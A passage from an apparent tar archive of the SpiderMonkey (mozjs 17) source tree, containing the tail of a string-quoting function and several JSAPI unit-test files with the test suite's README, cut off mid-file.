bufferSize, FILE *fp, JSLinearString *str, uint32_t quote) { enum { STOP, FIRST_QUOTE, LAST_QUOTE, CHARS, ESCAPE_START, ESCAPE_MORE } state; JS_ASSERT(quote == 0 || quote == '\'' || quote == '"'); JS_ASSERT_IF(!buffer, bufferSize == 0); JS_ASSERT_IF(fp, !buffer); if (bufferSize == 0) buffer = NULL; else bufferSize--; const jschar *chars = str->chars(); const jschar *charsEnd = chars + str->length(); size_t n = 0; state = FIRST_QUOTE; unsigned shift = 0; unsigned hex = 0; unsigned u = 0; char c = 0; /* to quell GCC warnings */ for (;;) { switch (state) { case STOP: goto stop; case FIRST_QUOTE: state = CHARS; goto do_quote; case LAST_QUOTE: state = STOP; do_quote: if (quote == 0) continue; c = (char)quote; break; case CHARS: if (chars == charsEnd) { state = LAST_QUOTE; continue; } u = *chars++; if (u < ' ') { if (u != 0) { const char *escape = strchr(js_EscapeMap, (int)u); if (escape) { u = escape[1]; goto do_escape; } } goto do_hex_escape; } if (u < 127) { if (u == quote || u == '\\') goto do_escape; c = (char)u; } else if (u < 0x100) { goto do_hex_escape; } else { shift = 16; hex = u; u = 'u'; goto do_escape; } break; do_hex_escape: shift = 8; hex = u; u = 'x'; do_escape: c = '\\'; state = ESCAPE_START; break; case ESCAPE_START: JS_ASSERT(' ' <= u && u < 127); c = (char)u; state = ESCAPE_MORE; break; case ESCAPE_MORE: if (shift == 0) { state = CHARS; continue; } shift -= 4; u = 0xF & (hex >> shift); c = (char)(u + (u < 10 ? '0' : 'A' - 10)); break; } if (buffer) { JS_ASSERT(n <= bufferSize); if (n != bufferSize) { buffer[n] = c; } else { buffer[n] = '\0'; buffer = NULL; } } else if (fp) { if (fputc(c, fp) < 0) return size_t(-1); } n++; } stop: if (buffer) buffer[n] = '\0'; return n; } } /* namespace js */ mozjs17.0.0/js/src/jsapi-tests/0000775000175000017500000000000012124132314016240 5ustar sstanglsstanglmozjs17.0.0/js/src/jsapi-tests/testContexts.cpp0000664000175000017500000000274012106270662021467 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testContexts_IsRunning) { CHECK(JS_DefineFunction(cx, global, "chk", chk, 0, 0)); EXEC("for (var i = 0; i < 9; i++) chk();"); return true; } static JSBool chk(JSContext *cx, unsigned argc, jsval *vp) { JSRuntime *rt = JS_GetRuntime(cx); JSContext *acx = JS_NewContext(rt, 8192); if (!acx) { JS_ReportOutOfMemory(cx); return JS_FALSE; } // acx should not be running bool ok = !JS_IsRunning(acx); if (!ok) JS_ReportError(cx, "Assertion failed: brand new context claims to be running"); JS_DestroyContext(acx); return ok; } END_TEST(testContexts_IsRunning) BEGIN_TEST(testContexts_bug563735) { JSContext *cx2 = JS_NewContext(rt, 8192); CHECK(cx2); JSBool ok; { JSAutoRequest req(cx2); JSAutoCompartment ac(cx2, global); jsval v = JSVAL_NULL; ok = JS_SetProperty(cx2, global, "x", &v); } CHECK(ok); EXEC("(function () { for (var i = 0; i < 9; i++) ; })();"); JS_DestroyContext(cx2); return true; } END_TEST(testContexts_bug563735) mozjs17.0.0/js/src/jsapi-tests/valueABI.c0000664000175000017500000000125012106270662020043 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99 ft=c: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "jsapi.h" /* See testValueABI.cpp */ JSBool C_ValueToObject(JSContext *cx, jsval v, JSObject **obj) { return JS_ValueToObject(cx, v, obj); } jsval C_GetEmptyStringValue(JSContext *cx) { return JS_GetEmptyStringValue(cx); } size_t C_jsvalAlignmentTest() { typedef struct { char c; jsval v; } AlignTest; return sizeof(AlignTest); } mozjs17.0.0/js/src/jsapi-tests/testHashTable.cpp0000664000175000017500000001637612106270662021525 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "js/HashTable.h" //#define FUZZ typedef js::HashMap, js::SystemAllocPolicy> IntMap; typedef js::HashSet, js::SystemAllocPolicy> IntSet; /* * The rekeying test as conducted by adding only keys masked with 0x0000FFFF * that are unique. We rekey by shifting left 16 bits. */ #ifdef FUZZ const size_t TestSize = 0x0000FFFF / 2; const size_t TestIterations = SIZE_MAX; #else const size_t TestSize = 10000; const size_t TestIterations = 10; #endif JS_STATIC_ASSERT(TestSize <= 0x0000FFFF / 2); struct LowToHigh { static uint32_t rekey(uint32_t initial) { if (initial > uint32_t(0x0000FFFF)) return initial; return initial << 16; } static bool shouldBeRemoved(uint32_t initial) { return false; } }; struct LowToHighWithRemoval { static uint32_t rekey(uint32_t initial) { if (initial > uint32_t(0x0000FFFF)) return initial; return initial << 16; } static bool shouldBeRemoved(uint32_t initial) { if (initial >= 0x00010000) return (initial >> 16) % 2 == 0; return initial % 2 == 0; } }; static bool MapsAreEqual(IntMap &am, IntMap &bm) { bool equal = true; if (am.count() != bm.count()) { equal = false; fprintf(stderr, "A.count() == %u and B.count() == %u\n", am.count(), bm.count()); } for (IntMap::Range r = am.all(); !r.empty(); r.popFront()) { if (!bm.has(r.front().key)) { equal = false; fprintf(stderr, "B does not have %x which is in A\n", r.front().key); } } for (IntMap::Range r = bm.all(); !r.empty(); r.popFront()) { if (!am.has(r.front().key)) { equal = false; fprintf(stderr, "A does not have %x which is in B\n", r.front().key); } } return equal; } static bool SetsAreEqual(IntSet &am, IntSet &bm) { bool equal = true; if (am.count() != bm.count()) { equal = false; fprintf(stderr, "A.count() == %u and B.count() == %u\n", am.count(), bm.count()); } for (IntSet::Range r = am.all(); !r.empty(); r.popFront()) { if (!bm.has(r.front())) { equal = false; fprintf(stderr, "B does not have %x which is in A\n", r.front()); } } for (IntSet::Range r = bm.all(); !r.empty(); r.popFront()) { if (!am.has(r.front())) { equal = false; fprintf(stderr, "A does not have %x which is in B\n", r.front()); } } return equal; } static bool AddLowKeys(IntMap *am, IntMap *bm, int seed) { size_t i = 0; srand(seed); while (i < TestSize) { uint32_t n = rand() & 0x0000FFFF; if (!am->has(n)) { if (bm->has(n)) return false; am->putNew(n, n); bm->putNew(n, n); i++; } } return true; } static bool AddLowKeys(IntSet *as, IntSet *bs, int seed) { size_t i = 0; srand(seed); while (i < TestSize) { uint32_t n = rand() & 0x0000FFFF; if (!as->has(n)) { if (bs->has(n)) return false; as->putNew(n); bs->putNew(n); i++; } } return true; } template static bool SlowRekey(IntMap *m) { IntMap tmp; tmp.init(); for (IntMap::Range r = m->all(); !r.empty(); r.popFront()) { if (NewKeyFunction::shouldBeRemoved(r.front().key)) continue; uint32_t hi = NewKeyFunction::rekey(r.front().key); if (tmp.has(hi)) return false; tmp.putNew(hi, r.front().value); } m->clear(); for (IntMap::Range r = tmp.all(); !r.empty(); r.popFront()) { m->putNew(r.front().key, r.front().value); } return true; } template static bool SlowRekey(IntSet *s) { IntSet tmp; tmp.init(); for (IntSet::Range r = s->all(); !r.empty(); r.popFront()) { if (NewKeyFunction::shouldBeRemoved(r.front())) continue; uint32_t hi = NewKeyFunction::rekey(r.front()); if (tmp.has(hi)) return false; tmp.putNew(hi); } s->clear(); for (IntSet::Range r = tmp.all(); !r.empty(); r.popFront()) { s->putNew(r.front()); } return true; } BEGIN_TEST(testHashRekeyManual) { IntMap am, bm; am.init(); bm.init(); for (size_t i = 0; i < TestIterations; ++i) { #ifdef FUZZ fprintf(stderr, "map1: %lu\n", i); #endif CHECK(AddLowKeys(&am, &bm, i)); CHECK(MapsAreEqual(am, bm)); for (IntMap::Enum e(am); !e.empty(); e.popFront()) { uint32_t tmp = LowToHigh::rekey(e.front().key); if (tmp != e.front().key) e.rekeyFront(tmp); } CHECK(SlowRekey(&bm)); CHECK(MapsAreEqual(am, bm)); am.clear(); bm.clear(); } IntSet as, bs; as.init(); bs.init(); for (size_t i = 0; i < TestIterations; ++i) { #ifdef FUZZ fprintf(stderr, "set1: %lu\n", i); #endif CHECK(AddLowKeys(&as, &bs, i)); CHECK(SetsAreEqual(as, bs)); for (IntSet::Enum e(as); !e.empty(); e.popFront()) { uint32_t tmp = LowToHigh::rekey(e.front()); if (tmp != e.front()) e.rekeyFront(tmp); } CHECK(SlowRekey(&bs)); CHECK(SetsAreEqual(as, bs)); as.clear(); bs.clear(); } return true; } END_TEST(testHashRekeyManual) BEGIN_TEST(testHashRekeyManualRemoval) { IntMap am, bm; am.init(); bm.init(); for (size_t i = 0; i < TestIterations; ++i) { #ifdef FUZZ fprintf(stderr, "map2: %lu\n", i); #endif CHECK(AddLowKeys(&am, &bm, i)); CHECK(MapsAreEqual(am, bm)); for (IntMap::Enum e(am); !e.empty(); e.popFront()) { if (LowToHighWithRemoval::shouldBeRemoved(e.front().key)) { e.removeFront(); } else { uint32_t tmp = LowToHighWithRemoval::rekey(e.front().key); if (tmp != e.front().key) e.rekeyFront(tmp); } } CHECK(SlowRekey(&bm)); CHECK(MapsAreEqual(am, bm)); am.clear(); bm.clear(); } IntSet as, bs; as.init(); bs.init(); for (size_t i = 0; i < TestIterations; ++i) { #ifdef FUZZ fprintf(stderr, "set1: %lu\n", i); #endif CHECK(AddLowKeys(&as, &bs, i)); CHECK(SetsAreEqual(as, bs)); for (IntSet::Enum e(as); !e.empty(); e.popFront()) { if (LowToHighWithRemoval::shouldBeRemoved(e.front())) { e.removeFront(); } else { uint32_t tmp = LowToHighWithRemoval::rekey(e.front()); if (tmp != e.front()) e.rekeyFront(tmp); } } CHECK(SlowRekey(&bs)); CHECK(SetsAreEqual(as, bs)); as.clear(); bs.clear(); } return true; } END_TEST(testHashRekeyManualRemoval) mozjs17.0.0/js/src/jsapi-tests/selfTest.cpp0000664000175000017500000000134712106270662020553 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(selfTest_NaNsAreSame) { JS::RootedValue v1(cx), v2(cx); EVAL("0/0", v1.address()); // NaN CHECK_SAME(v1, v1); EVAL("Math.sin('no')", v2.address()); // also NaN CHECK_SAME(v1, v2); return true; } END_TEST(selfTest_NaNsAreSame) BEGIN_TEST(selfTest_globalHasNoParent) { CHECK(JS_GetParent(global) == NULL); return true; } END_TEST(selfTest_globalHasNoParent) mozjs17.0.0/js/src/jsapi-tests/README0000664000175000017500000001126412106270662017135 0ustar sstanglsstangl=== JSAPI Test Suite The tests in this directory exercise the JSAPI. --- Building and running the tests If you built JS, you already built the tests. If you did `make check` in your JS objdir, you already ran them. The tests are built by default when you build JS. All the tests are compiled into a single binary named jsapi-tests. They all run in a single process. To run the tests in a debugger: cd $OBJDIR/jsapi-tests gdb ./jsapi-tests --- Creating new tests 1. You can either add to an existing test*.cpp file or make a new one. Copy an existing test and replace the body with your test code. The test harness provides `cx`, `rt`, and `global` for your use. 2. If you made a new .cpp file, add it to the CPPSRCS list in Makefile.in. --- Writing test code Here is a sample test: #include "tests.h" BEGIN_TEST(testIntString_bug515273) { jsval v; EVAL("'42';", &v); JSString *str = JSVAL_TO_STRING(v); const char *bytes = JS_GetStringBytes(str); CHECK(strcmp(bytes, "42") == 0); return true; } END_TEST(testIntString_bug515273) The BEGIN_TEST and END_TEST macros bracket each test. By convention, the test name is _. (The above test is in testIntString.cpp.) The curly braces are required. This block is the body of a C++ member function that returns JSBool. The test harness calls this member function automatically. If the function returns true, the test passes. False, it fails. JSAPI tests often need extra global C/C++ code: a JSClass, a getter or setter function, a resolve hook. Put these before the BEGIN_TEST macro. The body of the test can use these member variables and macros, defined in tests.h: JSRuntime *rt; JSContext *cx; JSObject *global; The test framework creates these fresh for each test. The default environment has reasonable default settings, including JSOPTION_VAROBJFIX, JSOPTION_JIT, a global object of a class with JSCLASS_GLOBAL_FLAGS, and an error reporter that prints to stderr. See also "Custom test setup" below. EXEC(const char *code); Execute some JS code in global scope, using JS_EvaluateScript. Return false if that fails. (This means that if the code throws an uncaught JS exception, the test fails.) EVAL(const char *code, jsval *vp); Same as EXEC, but store the result value in *vp. CHECK(bool cond); If the condition is not true, print an error message and return false, failing the test. CHECK_SAME(jsval a, jsval b); If a and b are different values, print an error message and return false, failing the test. This is like CHECK(sameValue(a, b)) but with a more detailed error message. See sameValue below. bool knownFail; Set this to true if your test is known to fail. The test runner will print a TEST-KNOWN-FAIL line rather than a TEST-UNEXPECTED-FAIL line. This way you can check in a test illustrating a bug ahead of the fix. If your test actually crashes the process or triggers an assertion, this of course will not help, so you should add something like knownFail = true; // see bug 123456 return false; // the code below crashes! as the first two lines of the test. bool isNegativeZero(jsval v); bool isNaN(jsval v); Self-explanatory. bool sameValue(jsval v1, jsval v2); True if v1 and v2 are the same value according to the ES5 SameValue() function, to wit: SameValue(NaN, NaN) is true. SameValue(-0, 0) is false. Otherwise SameValue(a, b) iff a === b. And see class jsvalRoot, also defined in tests.h. --- Custom test setup Before executing each test, the test framework calls the tests' init() member function, which populates the rt, cx, and global member variables. A test can customize the test setup process by overloading virtual member functions, like this: JSClass globalClassWithResolve = { ... }; BEGIN_TEST(testGlobalResolveHook) { jsvalRoot v; EVAL("v", v.addr()); CHECK_SAME(v, JSVAL_VOID); return true; } // Other class members can go here. // This one overloads a base-class method. virtual JSClass *getGlobalJSClass() { return &globalClassWithResolve; } END_TEST(testGlobalResolveHook) The overloadable member functions are: virtual bool init(); virtual void uninit(); virtual JSRuntime * createRuntime(); virtual JSContext * createContext(); virtual JSClass * getGlobalClass(); virtual JSObject * createGlobal(); mozjs17.0.0/js/src/jsapi-tests/testScriptObject.cpp0000664000175000017500000001321512106270662022252 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" struct ScriptObjectFixture : public JSAPITest { static const int code_size; static const char code[]; static jschar uc_code[]; ScriptObjectFixture() { for (int i = 0; i < code_size; i++) uc_code[i] = code[i]; } bool tryScript(JS::HandleObject global, JSScript *scriptArg) { JS::RootedScript script(cx, scriptArg); CHECK(script); JS_GC(rt); /* After a garbage collection, the script should still work. */ jsval result; CHECK(JS_ExecuteScript(cx, global, script, &result)); return true; } }; const char ScriptObjectFixture::code[] = "(function(a, b){return a+' '+b;}('hello', 'world'))"; const int ScriptObjectFixture::code_size = sizeof(ScriptObjectFixture::code) - 1; jschar ScriptObjectFixture::uc_code[ScriptObjectFixture::code_size]; BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_CompileScript) { return tryScript(global, JS_CompileScript(cx, global, code, code_size, __FILE__, __LINE__)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_CompileScript) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_CompileScript_empty) { return tryScript(global, JS_CompileScript(cx, global, "", 0, __FILE__, __LINE__)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_CompileScript_empty) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_CompileScriptForPrincipals) { return tryScript(global, JS_CompileScriptForPrincipals(cx, global, NULL, code, code_size, __FILE__, __LINE__)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_CompileScriptForPrincipals) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileUCScript) { return tryScript(global, JS_CompileUCScript(cx, global, uc_code, code_size, __FILE__, __LINE__)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileUCScript) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileUCScript_empty) { return tryScript(global, JS_CompileUCScript(cx, global, uc_code, 0, __FILE__, __LINE__)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileUCScript_empty) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileUCScriptForPrincipals) { return tryScript(global, JS_CompileUCScriptForPrincipals(cx, global, NULL, uc_code, code_size, __FILE__, __LINE__)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileUCScriptForPrincipals) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFile) { TempFile tempScript; static const char script_filename[] = "temp-bug438633_JS_CompileFile"; FILE *script_stream = tempScript.open(script_filename); CHECK(fputs(code, script_stream) != EOF); tempScript.close(); JSScript *script = JS_CompileUTF8File(cx, global, script_filename); tempScript.remove(); return tryScript(global, script); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFile) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFile_empty) { TempFile tempScript; static const char script_filename[] = "temp-bug438633_JS_CompileFile_empty"; tempScript.open(script_filename); tempScript.close(); JSScript *script = JS_CompileUTF8File(cx, global, script_filename); tempScript.remove(); return tryScript(global, script); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFile_empty) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFileHandle) { TempFile tempScript; FILE *script_stream = tempScript.open("temp-bug438633_JS_CompileFileHandle"); CHECK(fputs(code, script_stream) != EOF); CHECK(fseek(script_stream, 0, SEEK_SET) != EOF); return tryScript(global, JS_CompileUTF8FileHandle(cx, global, "temporary file", script_stream)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFileHandle) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFileHandle_empty) { TempFile tempScript; FILE *script_stream = tempScript.open("temp-bug438633_JS_CompileFileHandle_empty"); return tryScript(global, JS_CompileUTF8FileHandle(cx, global, "empty temporary file", script_stream)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFileHandle_empty) BEGIN_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFileHandleForPrincipals) { TempFile tempScript; FILE *script_stream = tempScript.open("temp-bug438633_JS_CompileFileHandleForPrincipals"); CHECK(fputs(code, script_stream) != EOF); CHECK(fseek(script_stream, 0, SEEK_SET) != EOF); return tryScript(global, JS_CompileUTF8FileHandleForPrincipals(cx, global, "temporary file", script_stream, NULL)); } END_FIXTURE_TEST(ScriptObjectFixture, bug438633_JS_CompileFileHandleForPrincipals) mozjs17.0.0/js/src/jsapi-tests/testCallNonGenericMethodOnProxy.cpp0000664000175000017500000000500312106270662025176 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" using namespace JS; static JSClass CustomClass = { "CustomClass", JSCLASS_HAS_RESERVED_SLOTS(1), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static const uint32_t CUSTOM_SLOT = 0; static bool IsCustomClass(const Value &v) { return v.isObject() && JS_GetClass(&v.toObject()) == &CustomClass; } static bool CustomMethodImpl(JSContext *cx, CallArgs args) { JS_ASSERT(IsCustomClass(args.thisv())); args.rval().set(JS_GetReservedSlot(&args.thisv().toObject(), CUSTOM_SLOT)); return true; } static JSBool CustomMethod(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); return CallNonGenericMethod(cx, IsCustomClass, CustomMethodImpl, args); } BEGIN_TEST(test_CallNonGenericMethodOnProxy) { // Create the first global object and compartment JS::RootedObject globalA(cx, JS_NewGlobalObject(cx, getGlobalClass(), NULL)); CHECK(globalA); JS::RootedObject customA(cx, JS_NewObject(cx, &CustomClass, NULL, NULL)); CHECK(customA); JS_SetReservedSlot(customA, CUSTOM_SLOT, Int32Value(17)); JSFunction *customMethodA = JS_NewFunction(cx, CustomMethod, 0, 0, customA, "customMethodA"); CHECK(customMethodA); jsval rval; CHECK(JS_CallFunction(cx, customA, customMethodA, 0, NULL, &rval)); CHECK_SAME(rval, Int32Value(17)); // Now create the second global object and compartment... { JS::RootedObject globalB(cx, JS_NewGlobalObject(cx, getGlobalClass(), NULL)); CHECK(globalB); // ...and enter it. JSAutoCompartment enter(cx, globalB); JS::RootedObject customB(cx, JS_NewObject(cx, &CustomClass, NULL, NULL)); CHECK(customB); JS_SetReservedSlot(customB, CUSTOM_SLOT, Int32Value(42)); JSFunction *customMethodB = JS_NewFunction(cx, CustomMethod, 0, 0, customB, "customMethodB"); CHECK(customMethodB); jsval rval; CHECK(JS_CallFunction(cx, customB, customMethodB, 0, NULL, &rval)); CHECK_SAME(rval, Int32Value(42)); JS::RootedObject wrappedCustomA(cx, customA); CHECK(JS_WrapObject(cx, wrappedCustomA.address())); jsval rval2; CHECK(JS_CallFunction(cx, wrappedCustomA, customMethodB, 0, NULL, &rval2)); CHECK_SAME(rval, Int32Value(42)); } return true; } END_TEST(test_CallNonGenericMethodOnProxy) mozjs17.0.0/js/src/jsapi-tests/testXDR.cpp0000664000175000017500000002251612106270662020320 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsscript.h" #include "jsstr.h" static JSScript * CompileScriptForPrincipalsVersionOrigin(JSContext *cx, JS::HandleObject obj, JSPrincipals *principals, JSPrincipals *originPrincipals, const char *bytes, size_t nbytes, const char *filename, unsigned lineno, JSVersion version) { size_t nchars; if (!JS_DecodeBytes(cx, bytes, nbytes, NULL, &nchars)) return NULL; jschar *chars = static_cast(JS_malloc(cx, nchars * sizeof(jschar))); if (!chars) return NULL; JS_ALWAYS_TRUE(JS_DecodeBytes(cx, bytes, nbytes, chars, &nchars)); JSScript *script = JS_CompileUCScriptForPrincipalsVersionOrigin(cx, obj, principals, originPrincipals, chars, nchars, filename, lineno, version); free(chars); return script; } JSScript * FreezeThaw(JSContext *cx, JSScript *script) { // freeze uint32_t nbytes; void *memory = JS_EncodeScript(cx, script, &nbytes); if (!memory) return NULL; // thaw script = JS_DecodeScript(cx, memory, nbytes, script->principals, script->originPrincipals); js_free(memory); return script; } static JSScript * GetScript(JSContext *cx, JS::HandleObject funobj) { return JS_GetFunctionScript(cx, JS_GetObjectFunction(funobj)); } JSObject * FreezeThaw(JSContext *cx, JS::HandleObject funobj) { // freeze uint32_t nbytes; void *memory = JS_EncodeInterpretedFunction(cx, funobj, &nbytes); if (!memory) return NULL; // thaw JSScript *script = GetScript(cx, funobj); JSObject *funobj2 = JS_DecodeInterpretedFunction(cx, memory, nbytes, script->principals, script->originPrincipals); js_free(memory); return funobj2; } static JSPrincipals testPrincipals[] = { { 1 }, { 1 }, }; BEGIN_TEST(testXDR_principals) { JSScript *script; for (int i = TEST_FIRST; i != TEST_END; ++i) { script = createScriptViaXDR(NULL, NULL, i); CHECK(script); CHECK(!JS_GetScriptPrincipals(script)); CHECK(!JS_GetScriptOriginPrincipals(script)); script = createScriptViaXDR(NULL, NULL, i); CHECK(script); CHECK(!JS_GetScriptPrincipals(script)); CHECK(!JS_GetScriptOriginPrincipals(script)); script = createScriptViaXDR(&testPrincipals[0], NULL, i); CHECK(script); CHECK(JS_GetScriptPrincipals(script) == &testPrincipals[0]); CHECK(JS_GetScriptOriginPrincipals(script) == &testPrincipals[0]); script = createScriptViaXDR(&testPrincipals[0], &testPrincipals[0], i); CHECK(script); CHECK(JS_GetScriptPrincipals(script) == &testPrincipals[0]); CHECK(JS_GetScriptOriginPrincipals(script) == &testPrincipals[0]); script = createScriptViaXDR(&testPrincipals[0], &testPrincipals[1], i); CHECK(script); CHECK(JS_GetScriptPrincipals(script) == &testPrincipals[0]); CHECK(JS_GetScriptOriginPrincipals(script) == &testPrincipals[1]); script = createScriptViaXDR(NULL, &testPrincipals[1], i); CHECK(script); CHECK(!JS_GetScriptPrincipals(script)); CHECK(JS_GetScriptOriginPrincipals(script) == &testPrincipals[1]); } return true; } enum TestCase { TEST_FIRST, TEST_SCRIPT = TEST_FIRST, TEST_FUNCTION, TEST_SERIALIZED_FUNCTION, TEST_END }; JSScript *createScriptViaXDR(JSPrincipals *prin, JSPrincipals *orig, int testCase) { const char src[] = "function f() { return 1; }\n" "f;\n"; JS::RootedObject global(cx, JS_GetGlobalObject(cx)); JSScript *script = CompileScriptForPrincipalsVersionOrigin(cx, global, prin, orig, src, strlen(src), "test", 1, JSVERSION_DEFAULT); if (!script) return NULL; if (testCase == TEST_SCRIPT || testCase == TEST_SERIALIZED_FUNCTION) { script = FreezeThaw(cx, script); if (!script) return NULL; if (testCase == TEST_SCRIPT) return script; } JS::Value v; JSBool ok = JS_ExecuteScript(cx, global, script, &v); if (!ok || !v.isObject()) return NULL; JS::RootedObject funobj(cx, &v.toObject()); if (testCase == TEST_FUNCTION) { funobj = FreezeThaw(cx, funobj); if (!funobj) return NULL; } return GetScript(cx, funobj); } END_TEST(testXDR_principals) BEGIN_TEST(testXDR_atline) { JS_ToggleOptions(cx, JSOPTION_ATLINE); CHECK(JS_GetOptions(cx) & JSOPTION_ATLINE); const char src[] = "//@line 100 \"foo\"\n" "function nested() { }\n" "//@line 200 \"bar\"\n" "nested;\n"; JSScript *script = JS_CompileScript(cx, global, src, strlen(src), "internal", 1); CHECK(script); CHECK(script = FreezeThaw(cx, script)); CHECK(!strcmp("bar", JS_GetScriptFilename(cx, script))); JS::Value v; JSBool ok = JS_ExecuteScript(cx, global, script, &v); CHECK(ok); CHECK(v.isObject()); JS::RootedObject funobj(cx, &v.toObject()); script = JS_GetFunctionScript(cx, JS_GetObjectFunction(funobj)); CHECK(!strcmp("foo", JS_GetScriptFilename(cx, script))); return true; } END_TEST(testXDR_atline) BEGIN_TEST(testXDR_bug506491) { const char *s = "function makeClosure(s, name, value) {\n" " eval(s);\n" " Math.sin(value);\n" " return let (n = name, v = value) function () { return String(v); };\n" "}\n" "var f = makeClosure('0;', 'status', 'ok');\n"; // compile JSScript *script = JS_CompileScript(cx, global, s, strlen(s), __FILE__, __LINE__); CHECK(script); script = FreezeThaw(cx, script); CHECK(script); // execute JS::RootedValue v2(cx); CHECK(JS_ExecuteScript(cx, global, script, v2.address())); // try to break the Block object that is the parent of f JS_GC(rt); // confirm EVAL("f() === 'ok';\n", v2.address()); JS::RootedValue trueval(cx, JSVAL_TRUE); CHECK_SAME(v2, trueval); return true; } END_TEST(testXDR_bug506491) BEGIN_TEST(testXDR_bug516827) { // compile an empty script JSScript *script = JS_CompileScript(cx, global, "", 0, __FILE__, __LINE__); CHECK(script); script = FreezeThaw(cx, script); CHECK(script); // execute with null result meaning no result wanted CHECK(JS_ExecuteScript(cx, global, script, NULL)); return true; } END_TEST(testXDR_bug516827) BEGIN_TEST(testXDR_source) { const char *samples[] = { // This can't possibly fail to compress well, can it? "function f(x) { return x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x + x }", "short", NULL }; for (const char **s = samples; *s; s++) { JSScript *script = JS_CompileScript(cx, global, *s, strlen(*s), __FILE__, __LINE__); CHECK(script); script = FreezeThaw(cx, script); CHECK(script); JSString *out = JS_DecompileScript(cx, script, "testing", 0); CHECK(out); JSBool equal; CHECK(JS_StringEqualsAscii(cx, out, *s, &equal)); CHECK(equal); } return true; } END_TEST(testXDR_source) BEGIN_TEST(testXDR_sourceMap) { const char *sourceMaps[] = { "http://example.com/source-map.json", "file:///var/source-map.json", NULL }; for (const char **sm = sourceMaps; *sm; sm++) { JSScript *script = JS_CompileScript(cx, global, "", 0, __FILE__, __LINE__); CHECK(script); size_t len = strlen(*sm); jschar *expected = js::InflateString(cx, *sm, &len); CHECK(expected); // The script source takes responsibility of free'ing |expected|. CHECK(script->scriptSource()->setSourceMap(cx, expected, script->filename)); script = FreezeThaw(cx, script); CHECK(script); CHECK(script->scriptSource()); CHECK(script->scriptSource()->hasSourceMap()); const jschar *actual = script->scriptSource()->sourceMap(); CHECK(actual); while (*expected) { CHECK(*actual); CHECK(*expected == *actual); expected++; actual++; } CHECK(!*actual); } return true; } END_TEST(testXDR_sourceMap) mozjs17.0.0/js/src/jsapi-tests/testIndexToString.cpp0000664000175000017500000000566212106270662022427 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with 